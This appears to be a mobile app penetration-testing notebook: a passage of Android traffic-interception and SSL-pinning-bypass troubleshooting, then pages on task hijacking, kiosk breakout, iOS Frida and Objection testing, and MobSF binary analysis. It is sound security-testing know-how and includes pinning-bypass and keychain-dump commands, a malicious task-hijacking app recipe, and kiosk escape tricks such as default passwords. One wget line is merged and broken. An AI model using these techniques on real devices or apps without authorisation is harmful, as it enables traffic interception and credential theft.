Connect to your proxy using a browser and investigate the certificate lifetime of both the root CA and the leaf certificate. If they’re shorter than 1 year, you’re good to go. If they’re longer, I like to play it safe and create a new CA. You can also use the latest version of the Chrome browser on Android to validate your certificate lifetime. If something’s wrong, Chrome will display the following error: `ERR_CERT_VALIDITY_TOO_LONG`

**Solution**\
There are two possible solutions here:

* Make sure you have the latest version of Burp installed, which reduces the lifetime of generated leaf certificates
* [Make your own root CA that’s only valid for 365 days](https://blog.nviso.eu/2018/01/31/using-a-custom-root-ca-with-burp-for-inspecting-android-n-traffic/). Certificates generated by this root CA will also be shorter than 365 days. This is my preferred option, since the certificate can be shared with team members and be installed on all devices used during engagements.

#### Is TLS Pass Through disabled? <a href="#check16" id="check16"></a>

Burp allows you to configure certain domains which will not be MitM’d. This. is a setting called “TLS Passthrough” and you can either configure custom domains, or allow Burp to automatically add domains in case the client renegotiation failed.

**Sanity check**\
Go to **Proxy > Options** and scroll down to **TLS Pass Through**. Make sure that any domain you are trying to MITM is not listed, and also that the option to automatically add domains is **not enabled**.

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2023/02/Screenshot-2023-02-10-at-14.51.01.png?resize=1024%2C403&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

**Solution**\
If the setting to automatically add entries is enabled, make sure you disable it.

If your domain is listed, make sure you remove it from the list or click the ‘Enabled’ flag to disable it. If your domain is listed, it was probably the result of a TLS negotiation failure in the past, and you most likely need to fix another issue, such as bypassing SSL pinning or correctly configuring your certificate. Now that you removed the domain from TLS Pass Through, go back to the start of the SSL checks of this guide and test again.

### Setting up the application

Now that the device is ready to go, it’s time to take a look at application specifics.

#### Is the application proxy aware? <a href="#check8" id="check8"></a>

Many applications simply ignore the proxy settings of the system. Applications that use standard libraries will typically use the system proxy settings, but applications that rely on interpreted language (such as Xamarin and Unity) or are compiled natively (such as Flutter) usually require the developer to explicitly program proxy support into the application.

**Sanity check**\
When running the application, you should either see your HTTPS data in Burp’s Proxy tab, or you should see HTTPS connection errors in **Burp’s Event log on the Dashboard panel**. Since the entire device is proxied, you will see many blocked requests from applications that use SSL Pinning (e.g. Google Play), so see if you can find a domain that is related to the application. If you don’t see any relevant failed connections, your application is most likely proxy unaware.

As an additional sanity check, you can see if the application uses a **third party framework**. If the app is written in Flutter it will definitely be proxy unaware, while if it’s written in Xamarin or Unity, there’s a good chance it will ignore the system’s proxy settings.

* Decompile with apktool
  * `apktool d myapp.apk`
* Go through known locations
  * Flutter: `myapp/lib/arm64-v8a/libflutter.so`
  * Xamarin: `myapp/unknown/assemblies/Mono.Android.dll`
  * Unity: `myapp/lib/arm64-v8a/libunity.so`

**Solution**\
There are a few things to try:

* Use [ProxyDroid ](https://play.google.com/store/apps/details?id=org.proxydroid\&hl=en\&gl=US)(root only). Although it’s an old app, it still works really well. ProxyDroid uses iptables in order to forcefully redirect traffic to your proxy
* Set up a custom hotspot through a second wireless interface and use iptables to redirect traffic yourself. You can find [the setup on the mitmproxy documentation](https://docs.mitmproxy.org/stable/howto-transparent/), which is another useful HTTP proxy. The exact same setup works with Burp.

In both cases, you have moved from a ‘proxy aware’ to a ‘transparent proxy’ setup. There are two things you must do:

* Disable the proxy on your device. If you don’t do this, Burp will receive both proxied and transparent requests, which are not compatible with each other.
* Configure Burp to support transparent proxying via **Proxy > Options >&#x20;*****active proxy*****&#x20;> edit > Request Handling > Support invisible proxying**

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/burp_transparent.png?resize=1024%2C481&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

Perform the sanity check again to now hopefully see SSL errors in Burp’s event log.

#### Is the application using custom ports? <a href="#check9" id="check9"></a>

This only really applies if your application is not proxy aware. In that case, you (or ProxyDroid) will be using iptables to intercept traffic, but these iptables rules only target specific ports. In the [ProxyDroid source code](https://github.com/madeye/proxydroid), you can see that only [ports 80 (HTTP) and 443 (HTTPS)](https://github.com/madeye/proxydroid/blob/ca83ebaea6f402df84c5ba20ce46a1255de2a194/app/src/main/java/org/proxydroid/ProxyDroidService.java#L97) are targeted. If the application uses a non-standard port (for example 8443 or 8080), it won’t be intercepted.

**Sanity check**\
This one is a bit more tricky. We need to find traffic that is leaving the application that isn’t going to ports 80 or 443. The best way to do this is to listen for all traffic leaving the application. We can do this using tcpdump on the device, or on the host machine in case you are working with a second Wi-Fi hotspot.

Run the following command on an adb shell with root privileges:

```
tcpdump -i wlan0 -n -s0 -v
```

You will see many different connections. Ideally, you should start the command, open the app and stop tcpdump as soon as you know the application has made some requests. After some time, you will see connections to a remote host with a non-default port. In the example below, there are multiple connections to 192.168.2.70 on port 8088:

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/port8088.png?resize=1024%2C341&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

Alternatively, you can send the output of tcpdump to a pcap by using `tcpdump -i wlan0 -n -s0 -w /sdcard/output.pcap`. After retrieving the output.pcap file from the device, it can be opened with WireShark and inspected:

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/wireshark.png?resize=762%2C583&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

**Solution**

If your application is indeed proxy unaware and communicating over custom ports, ProxyDroid won’t be able to help you. ProxyDroid doesn’t allow you to add custom ports, though it is an open-source project and a PR for this would be great. This means you’ll have to use iptables manually.

* Either you set up a second hotspot where your host machine acts as the router, and you can thus perform a MitM
* Or you use ARP spoofing to perform an active MitM between the router and the device
* Or you can use iptables yourself and forward all the traffic to Burp. Since Burp is listening on a separate host, the nicest solution is to use adb reverse to map a port on the device to your Burp instance. This way you don’t need to set up a separate hotspot, you just need to connect your device over USB.
  * On host: `adb reverse tcp:8080 tcp:8080`
  * On device, as root: `iptables -t nat -A OUTPUT -p tcp -m tcp --dport 8088 -j REDIRECT --to-ports 8080`

#### Is the application using SSL pinning? <a href="#check10" id="check10"></a>

At this point, you should be getting HTTPS connection failures in Burp’s Event log dashboard. The next step is to verify if SSL pinning is used, and disable it. Although many Frida scripts claim to be universal root bypasses, there isn’t a single one that even comes close. Android applications can be written in many different technologies, and only a few of those technologies are typically supported. Below you can find various ways in which SSL pinning may be implemented, and ways to get around it.

Note that some applications have multiple ways to pin a specific domain, and you may have to combine scripts in order to disable all of the SSL pinning.

**Pinning through android:networkSecurityConfig**

Android allows applications to perform SSL pinning by using the network\_security\_config.xml file. This file is referenced in the AndroidManifext.xml and is located in res/xml/. The name is *usually* network\_security\_config.xml but it doesn’t have to be. As an example application, the Microsoft Authenticator app has the following two pins defined:

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/networksecurityconf.png?resize=1024%2C286&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

**Solution**\
Use any of the normal universal bypass scripts:

* Run Objection and execute the `android sslpinning disable` command
* Use Frida codeshare: `frida -U --codeshare akabe1/frida-multiple-unpinning -f be.nviso.app`
* Remove the networkSecurityConfig setting in the AndroidManifest by using `apktool d` and `apktool b`. Usually much faster to do it through Frida and only rarely needed.

**Pinning through OkHttp**

Another popular way of pinning domains is through the OkHttp library. You can do a quick validation by grepping for OkHttp and/or sha256. You will most likely find references (or even hashes) relating to OkHttp and whatever is being pinned:

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/pinning.png?resize=1024%2C273&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

**Solution**\
Use any of the normal universal bypass scripts:

* Run Objection and execute the `android sslpinning disable` command
* Use Frida codeshare: `frida -U --codeshare akabe1/frida-multiple-unpinning -f be.nviso.app`
* Decompile the apk using apktool, and modify the pinned domains. By default, OkHttp will allow connections that are not specifically pinned. So if you can find and modify the domain name that is pinned, the pinning will be disabled. Using Frida is much faster though, so this approach is rarely taken.

**Pinning through OkHttp in obfuscated apps**

Universal pinning scripts may work on obfuscated applications since they hook on Android libraries which can’t be obfuscated. However, if an application is using something else than a default Android Library, the classes will be obfuscated and the scripts will fail to find the correct classes. A good example of this is OkHttp. When an application is using OkHttp and has been obfuscated, you’ll have to figure out the obfuscated name of the CertificatePinner.Builder class. You can see below that obfuscated OkHttp was used by searching on the same sha256 string. This time, you won’t see nice OkHttp class references, but you will typically still find string references and maybe some package names as well. This depends on the level of obfuscation of course.

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/okhttpob.png?resize=1024%2C286&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

**Solution**\
You’ll have to write your own Frida script to hook the obfuscated version of the CertificatePinner.Builder class. I have written down the steps to easily find the correct method, and create a custom Frida script [in this blogpost](https://blog.nviso.eu/2019/04/02/circumventing-ssl-pinning-in-obfuscated-apps-with-okhttp/).

**Pinning through various libraries**

Instead of using the networkSecurityConfig or OkHttp, developers can also perform SSL pinning using many different standard Java classes or imported libraries. Additionally, some Java based third party app such as the PhoneGap or AppCelerator frameworks provide specific functions to the developer to add pinning to the application.

There are many ways to do it programmatically, so your best bet is to just try various anti-pinning scripts and at least figure out what kind of methods are being triggered so that you have information on the app, after which you may be able to further reverse-engineer the app to figure out why interception isn’t working yet.

**Solution**\
Try as many SSL pinning scripts you can find, and monitor their output. If you can identify certain classes or frameworks that are used, this will help you in creating your own custom SSL pinning bypasses specific for the application.

* Run Objection and execute the `android sslpinning disable` command
* Use Frida scripts. Many of these have overlapping functionality, but you never know. Note how many of these claim to be universal
  * <https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/>
  * <https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/>
  * <https://codeshare.frida.re/@sowdust/universal-android-ssl-pinning-bypass-2/>
  * <https://codeshare.frida.re/@masbog/frida-android-unpinning-ssl/>
  * <https://codeshare.frida.re/@segura2010/android-certificate-pinning-bypass/>
  * <https://codeshare.frida.re/@akabe1/frida-universal-pinning-bypasser/>

**Pinning in third party app frameworks**

Third party app frameworks will have their own low-level implementation for TLS and HTTP and default pinning bypass scripts won’t work. If the app is written in Flutter, Xamarin or Unity, you’ll need to do some manual reverse engineering.

**Figuring out if a third party app framework is used**\
As mentioned in a previous step, the following files are giveaways for either Flutter, Xamarin or Unity:

* Flutter: `myapp/lib/arm64-v8a/libflutter.so`
* Xamarin: `myapp/unknown/assemblies/Mono.Android.dll`
* Unity: `myapp/lib/arm64-v8a/libunity.so`

**Pinning in Flutter applications**

Flutter is proxy-unaware and doesn’t use the system’s CA store. Every Flutter app contains a full copy of trusted CAs which is used to validate connections. So while it most likely isn’t performing SSL pinning, it still won’t trust the root CA’s on your device and thus interception will not be possible. More information is available in the blogposts mentioned below.

**Solution**\
Follow my blog post for either [ARMv7 (x86)](https://blog.nviso.eu/2019/08/13/intercepting-traffic-from-android-flutter-applications/) or [ARMv64 (x64)](https://blog.nviso.eu/2020/05/20/intercepting-flutter-traffic-on-android-x64/)

**Pinning in Xamarin and Unity applications**

Xamarin/Unity applications usually aren’t too difficult, but they do require manual reverse engineering and patching. Xamarin/Unity applications contain .dll files in the assemblies/ folder and these can be opened using .NET decompilers. My favorite tool is [DNSpy](https://github.com/dnSpy/dnSpy) which also allows you to modify the dll files.

**Solution**\
No blog post on this yet, sorry. The steps are as follows:

* Extract apk using apktool and locate .dll files
* Open .dll files using DNSpy and locate HTTP pinning logic
* Modify logic either by modifying the C# code or the IL
* Save the modified module
* Overwrite the .dll file with the modified version
* Repackage and resign the application
* Reinstall the application and run


# Android Local Storage Checks

The user password can be found unencrypted in the following file on the device:

```normal
/data/data/com.my.application/shared_prefs/users.xml

<string name="myAPP_password">]-&xwhjgmd)u3</string>
```

Although files under /data/data/\[app\_package\_name] are typically only accessible by the app, the contents of that directory can be read by the following methods:

* rooting the device
* connecting the phone to a computer and initiating a backup with `adb backup -noapk com.my.app`, then analysing the backup contents
* running a shell in the context of the package and copying the file to an uprotected directory, by issuing the command `adb exec-out run-as com.my.app cat shared_prefs/users.xml /sdcard`

### Remediation:

Where possible, passwords should not be stored on the device. Instead, perform initial authentication with the username and password and store a short-lived, service-specific authorization token. Alternatively, credentials can be stored in Android's AccountManager.

If storing secrets such as a password is a requirement, use the Android Keystore API to generate a random key when the app runs for the first time and use that key to encrypt secrets with a block cipher such as AES before storing them in Preferences.

{% embed url="<https://developer.android.com/reference/android/accounts/AccountManager>" %}


# Android Task Hijacking

### Background

There are four different Launch Modes:

1. standard
2. singleTop
3. singleTask
4. singleInstance

For the attack described here, we are mostly concerned with the “**singleTask**” mode.

One of the possibility with “**singleTask**” activity is it allows other activities to be part of its task. It’s always at the root of its task, but other activities (necessarily “standard” and “singleTop” activities) can be launched into that task.

**Task affinity** is an attribute that is defined in each `<activity>` tag in the `AndroidManifest.xml` file. It describes which Task an Activity prefers to join.\
By default, every activity has the same affinity as the **package** name.

### Grep for singletask to check if Vulnerability exists

<pre><code><strong>apktool d com.example.app
</strong>cd com.example.app

grep -r singleTask .                                                                                  

</code></pre>

If we find the activity whose launchMode is set to **singleTask** then we can hijack the task as it is vulnerable.

### Attack and POC

We need to create a malicious application to exploit this vulnerability

You can import the below POC in your Android Studio projects and replace the package name with you desired Victim Application package name in AndroidManifest.xml as follows:

```
android:taskAffinity="com.example. VICTIMAPPPackage"

```

{% embed url="<https://github.com/smhuda/android-task-hijacking>" %}

<figure><img src="/files/wVEwxEs0ge0oLOImOhHU" alt=""><figcaption></figcaption></figure>

Now save and run the project, Android Studio will install and run the application on the Android device physially connected to your machine.

<figure><img src="/files/re5WUtceBkSfDlkd8ei2" alt=""><figcaption></figcaption></figure>

If you prefer an APK you can follow the step in the screenshots below to build an APK to install on another device or emulator:

<figure><img src="/files/mJxLN7pUkcpumFpi4G7M" alt=""><figcaption></figcaption></figure>

* Now, when the user opens the attacker’s app. it immediately minimises the task.
* It will not be shown in the **recent apps** as well.
* After that, when the user opens the victim app and presses the back button, instead of being taken to home screen. he is taken to the attacker’s application.

Thanks to the **taskAffinity** mentioned by the attackers app which is set to the victims app.

Task hijacking is also known as **StrandHogg** vulnerabilit&#x79;**.**

### **Remediation**

* Set the launchMode to **singleInstance** which will prevent other activities from becoming a part of it’s task.
* A custom **onBackPressed()** function can also be added, to override the default behaviour.
* Setting `taskAffinity=""` can be a quick fix for this issue.

### Finding Write Up

{% embed url="<https://docs.fluidattacks.com/criteria/vulnerabilities/347/#non-compliant-code>" %}


# Kiosk Mode / Breakout Testing

## What is it?

In simple words, if you want to restrict the usability of the device that you are giving to your employee/customer's hand, you can use kiosk browser lockdown facility to make that device single purpose used.

Post setting up Kiosk, when that Android OS based device boots up, it automatically runs only allowed the application. Which will not have any exit feature or may be an exit to the home screen, notification area or settings menu is locked down with the password.

* [ ] Check if USB debugging is enabled or not, try connecting device with USB and see if you can use ADB commands or not.
* [ ] The application running in kiosk mode can be an exit by long pressing on the “Background process”.
* [ ] Check if you can root the device or not \[]If none of the above is possible, if the application itself as a upload option, try to install burp cert and proxy or adb.&#x20;
* [ ] Use a help/faq which may have any external link of web reference which will be opened by default tablet browser can be used to download malicious apk afterward.&#x20;
* [ ] Try to open android device in safe mode and disable/uninstall kiosk application.
* [ ] Check if kiosk application has any exit button which requires a password, then give 0000 as default password or go to the kiosk application vendor website and find if there is any fallback/reset functionality procedure mentioned or not which you can use in your testing.&#x20;
* [ ] Check if USB debugging is enabled and you can install FRIDA hooking application, then use FRIDA to disable kiosk running on startup.&#x20;
* [ ] Sometimes USB debugging is disabled in normal mode, but it can be enabled in fastboot/samemode boot mode. So try opening tablet in safeboot or fastboot mode and then check if USB debugging is working or not.&#x20;
* [ ] Sometimes installing alternative homescreen can also bypass kiosk browser lockdown. \[]Try to find out which kiosk lockdown software (commercial/free) that company is using, go to their website find documentation if there are default password or anything like that you can access. Check for any backdoor in the configuration file.&#x20;
* [ ] Try to find out if any researcher/company in the world has bypassed it or produced any vulnerability/exploit regarding that software, if yes apply it in your engagement.

### ADB Tricks and Attack Vectors:

#### Load Settings using ADB&#x20;

```
adb shell am start com.android.settings 
adb shell am start -a android.settings.SETTINGS
```

#### Enter Developer Mode using ADB:&#x20;

```
adb shell am start -a com.android.settings.APPLICATION_DEVELOPMENT_SETTINGS
```

#### Install another application package (APK) using ADB:

```
adb install Snapchat_500003.0.1_Apkpure.apk
```

#### Launching a package with unknown Activity using ADB and Monkey:&#x20;

```
adb shell monkey -p com.snapchat.android 1
```

#### Open dialling pad and dial number using ADB:

```
adb shell am start -a android.intent.action.CALL -d tel:666666666
```


# Magisk on GenyMotion

{% embed url="<https://support.genymotion.com/hc/en-us/articles/360010853198-How-to-install-Xposed-EdXposed-LSPosed-Magisk-with-Genymotion-Desktop>" %}

{% file src="/files/RTq88c0U1LZqZjsaQsZe" %}


# iOS Application Testing

#### Jailbreaking iOS Device:

{% embed url="<https://checkra.in/>" %}

{% file src="/files/liHLacR4Y7gHxMoLcAOw" %}

After iOS Device is Jailbroken, Cydia is installed on the device. This can be used to install multiple testing tools like:

* MTerminal
* IPA Installer
* Frida Server

#### Installing SSL Kill Switch 2:

```
Sequrus-iPad:~ root# wget <https://github.com/nabla-c0d3/ssl-kill-switch2/releases/download/0.14/com.nablac0d3.sslkillswitch2_0.14.debSequrus-iPad:~> root# dpkg --install com.nablac0d3.sslkillswitch2_0.14.deb
```

```
Sequrus-iPad:~ root# dpkg --install com.nablac0d3.sslkillswitch2_0.14.deb
```

```
Sequrus-iPad:~ root# killall -HUP SpringBoard
```

Now SSL Kill Switch 2 will appear in Settings, you just need to toggle it on!

### Pulling IPA from iOS Device:

```
Sequrus-iPad:~ root# ipainstaller -l
```

```
Sequrus-iPad:~ root# ipainstaller -b <package-name>
The application has been backed up as /private/var/mobile/Documents/Package-Name.ipa.
```

Now Connect to the iOS Device IP address using FileZilla to download the IPA from the above Location. This IPA can be used on tools like MobSF for static analysis

### Frida on iOS:

If Frida Server doesn't start through Cydia, Start is manually:

```
Sequrus-iPad:/usr/bin root# frida-server -l 192.168.0.135
```

#### List devices:

```
C:\\Users\\sequr>frida-ls-devices
```

#### List Installed Applications:

```
frida-ps -Uai
```

#### Connect to the iOS Device Using USB:

```
C:\\Users\\sequr>frida-ps -Ua
Waiting for USB device to appear...
```

#### Connect to the iOS Device Remotely Using its IP Address:

```
C:\\Users\\sequr>frida-ps -H 192.168.0.135
```

#### Using a Codeshare Script via USB Connection:

```
C:\\Users\\sequr>frida --codeshare federicodotta/ios13-pinning-bypass -f <package-name> --no-pause -Ua
```

#### using Codeshare Script via Remote IP Connection:

```
C:\\Users\\sequr>frida --codeshare federicodotta/ios13-pinning-bypass -f <package-name> --no-pause -H 192.168.0.135
```

### Troubleshooting:

#### Unable to connect to remote frida-server / Waiting for USB device to appear...

#### Server Side - On iOS Device by SSH-ing to the device

```
/usr/bin/frida-server -l <iOS Device IP Address>
```

#### Client side - on Testing Machine with Frida:

```
frida-ps -H <iOS Device IP Address>
```

### Dumping Decrypted IPA using Frida IOS Dumper:

<mark style="color:red;">**Make sure Frida is installed and running and usable before using this repo. This repo uses Frida so will need that setup and installed.**</mark>

**First clone the repo:**

{% embed url="<https://github.com/AloneMonkey/frida-ios-dump>" %}
Ref
{% endembed %}

**Reference Video here:**

* <https://www.youtube.com/watch?v=m0FF8xcyGew>

**Clone the repo:**

```
git clone https://github.com/AloneMonkey/frida-ios-dump
```

```
cd frida-ios-dump
```

```
sudo pip install -r requirements.txt --upgrade
```

**In another Terminal open a ssh proxy and run the following:**

```
iproxy 2222 22
```

Make sure the credentials in the **dump.py** file are root:alpine (unless you have changed them on your iOS jailbroken device):

**Now list all the application packages using the -l flag:**

```
┌──(root㉿kali)-[~/Downloads/frida-ios-dump]
└─# python3 dump.py -l
PID  Name           Identifier                     
-  -------------  -------------------------------
-  App Store      com.apple.AppStore             
-  Camera         com.apple.camera               
-  Chrome         com.google.chrome.ios   
```

**Now without the -l flag dump the package of your choice as decrypted IPA. I'm using -o to output a different file name but can also just dump without changing the name:**

```
┌──(root㉿kali)-[~/Downloads/frida-ios-dump]
└─# python3 dump.py com.my.sample.app
Start the target app com.my.sample.app
Dumping Incode Omni to /tmp
start dump /private/var/containers/Bundle/Application/0000-00000-00000-00000/my.sample.app/
myapp.fid: 100%|██████████████████████████████████████████████████████████████| 16.8M/16.8M [00:00<00:00, 33.9MB/s]
AppIcon60x60@2x.png: 26.1MB [00:04, 5.89MB/s]                                                                     
0.00B [00:00, ?B/s]
Generating "My App.ipa"

```

<mark style="color:red;">**The File saves on your machine.**</mark>

**Specify output file name:**

```
python3 dump.py -o MyDecryped-App com.my.sample.app
```

```
──(root㉿kali)-[~/Downloads/frida-ios-dump]
└─# python3 dump.py                            
usage: dump.py [-h] [-l] [-o OUTPUT_IPA] [-H SSH_HOST] [-p SSH_PORT] [-u SSH_USER] [-P SSH_PASSWORD]
               [-K SSH_KEY_FILENAME]
               [target]

frida-ios-dump (by AloneMonkey v2.0)

positional arguments:
  target                Bundle identifier or display name of the target app

optional arguments:
  -h, --help            show this help message and exit
  -l, --list            List the installed apps
  -o OUTPUT_IPA, --output OUTPUT_IPA
                        Specify name of the decrypted IPA
  -H SSH_HOST, --host SSH_HOST
                        Specify SSH hostname
  -p SSH_PORT, --port SSH_PORT
                        Specify SSH port
  -u SSH_USER, --user SSH_USER
                        Specify SSH username
  -P SSH_PASSWORD, --password SSH_PASSWORD
                        Specify SSH password
  -K SSH_KEY_FILENAME, --key_filename SSH_KEY_FILENAME
                        Specify SSH private key file path

```

## Multiple Frida Bypasses in Conjunction:

```
┌──(kali㉿kali)-[~]
└─$ frida -f my.package.com -U -l /home/kali/Downloads/root.js -l /home/kali/Downloads/pinning.js

```


# iOS Testing Using Objection

#### Install Objection:

```
pip3 install objection
```

### Check install apps using Frida:

#### If USB connection:

```
frida-ps -Uai
```

#### If remote host connection:

```
frida-ps -H 192.16.1.20
```

### Start Objection and Attach to Process:

#### Using USB connection:

```
~$ objection -g com.client.mytestapp explore
```

#### Using Remote Connection:

```
──(root㉿kali)-[~]
└─# objection -N -h 192.168.1.20 -g com.incode.my.app explore
```

#### DISABLE CERTIFICATE PINNING&#x20;

```
[usb] # ios sslpinning disable --quiet
```

#### INSPECT BINARY INFO

```
 [usb] # ios info binary
```

#### DUMP THE APP KEYCHAIN

```
[usb] # ios keychain dump
```

#### EXPLORE THE APP STRUCTURE&#x20;

```
[usb] # ls 
[usb] # file cat examplefile.txt 
[usb] # ios plist cat Info.plist
```

#### CHECK FOR OTHER DATA STORES FOR SENSITIVE INFORMATION&#x20;

```
[usb] # ios nsurlcredentialstorage dump 
[usb] # ios nsuserdefaults get 
[usb] # ios cookies get
```

#### TROUBLESHOOTING

&#x20;If you receive the following error you will need to go to Settings -> Profiles & Device Management and verify the app.

> Unable to connect to the frida server: unable to launch iOS app: The operation couldn’t be completed. Unable to launch com.myapp because it has an invalid code signature, inadequate entitlements or its profile has not been explicitly trusted by the user.


# IPA Analysis Using MobSF

#### Disclaimer:

I do not own any of the contents of this page, these have been copied from another contributor merely for the purpose of storing this information on my page for reference. The link for original contributor of the information relayed on this page is as follows:

{% embed url="<https://inesmartins.github.io/mobsf-ipa-binary-analysis-step-by-step/index.html>" %}

[MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) is an open source static and dynamic analysis tool for Android and iOS, which can be used to quickly detect major issues on your mobile application.

When scanning an `.ipa`, the "IPA Binary Analysis" section can report multiple issues that can be hard to interpret.

Hopefully this article will help you understand why each vulnerability was reported and how to fix it.

### Getting to the good stuff <a href="#getting-to-the-good-stuff" id="getting-to-the-good-stuff"></a>

`.ipa` files are actually just zipped files that include the application executable and a bunch of other stuff.

When we talk about binary analysis, we're actually just talking about analysing this executable file, so the first thing we need to do is **find it**.

Note that if you don't have access to the `.ipa` you can extract it from the App Store using [ipatool](https://github.com/majd/ipatool):

```
~ brew tap majd/repo
~ brew install ipatool
~ ipatool download --bundle-identifier <app-bundle-id> --email <appstore-account-email> --password <appstore-account-password>
```

So, now that you have your `.ipa` it's time to unzip it and look inside:

```
~ unzip MyApp.ipa
~ cd Payload/
~ cd MyApp.app/
~ file MyApp
MyApp: Mach-O 64-bit executable arm64
```

As you can see above, the app binary is compiled for `ARM` and uses the `Mach-O` file format.

A more thorough analysis of this binary can be done using [otool](https://www.manpagez.com/man/1/otool/). You should become familiar with this tool since it will help us validate and fix most of the issues reported below.

Alternatively, I also recommend [htool](https://h3adsh0tzz.com/projects/htool/), which serves the similar purpose of analysing `Mach-O` binaries.

### ARC <a href="#arc" id="arc"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.12.27.png)

If you're used to working with Swift, then you most likely know `ARC` or "Automatic Reference Counting" simply as [one of the core features](https://docs.swift.org/swift-book/LanguageGuide/AutomaticReferenceCounting.html) of the language.

However, `ARC` is actually a feature of the Clang compiler, and unlike with Swift, you can (but [shouldn't](https://stackoverflow.com/questions/8760431/to-arc-or-not-to-arc-what-are-the-pros-and-cons/8760820#8760820)) use Objective-C without using Automatic Reference Counting.

If you've never heard of "Automatic Reference Counting" you should basically know that it "automatically frees up the memory used by class instances when those instances are no longer needed".

The alternative is to leave memory management to the developer, who is always less reliable and can easily make mistakes that can lead to memory corruption vulnerabilities.

So, if your application is written (at least partially) in Objective-C, you should first make sure that the project is configured to use `ARC` by checking the `"Objective-C Automatic Reference Counting"` setting under the `"Build Settings"` tab:

![](https://inesmartins.github.io/content/images/2021/08/image-6.png)<https://advancetechtutorial.blogspot.com/2016/07/xcode-arc-automatic-reference-counting.html>

If this property is set to `No`, you should "Convert" the project, as shown below:

![](https://inesmartins.github.io/content/images/2021/08/image-5.png)<https://stackoverflow.com/questions/8969644/tool-for-transitioning-to-arc/8969662>

You can also check the `"Compile Sources"` section under the `"Build Phases"` tab for the presence of the `-fno-objc-arc` flag, which is used to exclude specific files from using `ARC`, as shown below:

![](https://inesmartins.github.io/content/images/2021/08/flag-1024x434.jpeg)<https://thomashanning.com/how-to-disable-arc-for-objective-c-files/>

Since there are limitations that come with using `ARC`, the adequacy of these exceptions should be evaluated on a case by case basis.

As mentioned above, `otool` can help us understand our binary files a little better.

When it comes to `ARC` we can use this tool to check for the presence of ARC-related symbols, such as `_objc_release`, `_objc_autorelease`, `_objc_storeStrong`, `_objc_retain`, etc.:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-11.52.58.png)

Note the usage of `otool`'s `-I` and `-v` flags:

```
~ otool
	...
	-I print the indirect symbol table
	-v print verbosely (symbolically) when possible
```

### Code Signature <a href="#code-signature" id="code-signature"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.12.35.png)

From the [Apple docs on Code Signing](https://developer.apple.com/support/code-signing/) we can read:

> Before your app can integrate app services, be installed on a device, or be submitted to the App Store, it must be signed with a [certificate](https://developer.apple.com/support/certificates/) issued by Apple.

Also, from the [iOS Security Guide](https://www.apple.com/mx/privacy/docs/iOS_Security_Guide_Oct_2014.pdf):

> In order to develop and install apps on iOS devices, developers must register with Apple and join the iOS Developer Program. The real-world identity of each developer, whether an individual or a business, is verified by Apple before their certificate is issued.\
> \[...]\
> At runtime, code signature checks of all executable memory pages are made as they are loaded to ensure that an app has not been modified since it was installed or last updated.

So, code signing is simply the process of signing an application with an appropriate certificate that ensures the author's identity and the app content's integrity.

Since this process is required by Apple for most operations, if this section is flagged as "False" by MobSF, it's likely that the file you're analysing was generated via some non-traditional method, which seems worth investigating.

### Encrypted <a href="#encrypted" id="encrypted"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.14.17.png)

Similarly to the previous section, encryption shouldn't be a concern for most iOS developers, since the `App Store` takes care of it during the distribution process.

From [iPhoneDev's Wiki](https://iphonedev.wiki/index.php/Crack_prevention):

> App Store binaries are signed by both their developer and Apple. This encrypts the binary so that decryption keys are needed in order to make the binary readable.

So, when it comes to the MobSF analysis you should keep in mind the origin of the `.ipa` you're testing:

* if you simply download it from the `App Store` (using `ipatool`, for example), then the binary should be encrypted;
* if you get the `.ipa` from any other source, then most likely it's not encrypted.

To confirm the binary's encryption you can use `otool` to look for the `LC_ENCRYPTION_INFO` section:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-10.32.27.png)

From the [iPhoneDev Wiki](https://iphonedev.wiki/index.php/Crack_prevention):

> iOS can tell the encryption status of a binary via the `cryptid` struture member of `LC_ENCRYPTION_INFO` `MachO` `load` command.\
> If `cryptid` is a non-zero value then the binary in encrypted.

Note that the `cryptsize` indicates the size of the encrypted segment.

Also note the usage of `otool`'s `-l` flag:

```
~ otool
	...
	-l print the load commands
```

### NX <a href="#nx" id="nx"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.14.38.png)

Although the `NX bit` is specific to the `AMD` architecture, people tend to use "NX" as a generic way of referring to the feature that enables you to **specify non-executable memory pages**.

So, in this case, the `NX` section actually refers to the `XN` or "eXecute never" feature, since we're dealing with an `ARM` binary.

In the [iOS Security Guide](https://www.apple.com/mx/privacy/docs/iOS_Security_Guide_Oct_2014.pdf), under "Runtime process security" we can read:

> Further protection is provided by iOS using ARM’s Execute Never (XN) feature, which marks memory pages as non-executable.\
> Memory pages marked as both writable and executable can be used only by apps under tightly controlled conditions:\
> The kernel checks for the presence of the Apple-only dynamic code-signing entitlement. Even then, only a single mmap call can be made to request an executable and writable page, which is given a randomized address.

So, this section should never be flagged by MobSF, as long as Apple continues to use `XN` by default.

### PIE <a href="#pie" id="pie"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.15.40.png)

As explained above, each time you run a "Position Independent Executable" (`PIE`), the binary and all of its dependencies are loaded into random locations within virtual memory, which make ROP attacks much more difficult to execute reliably.

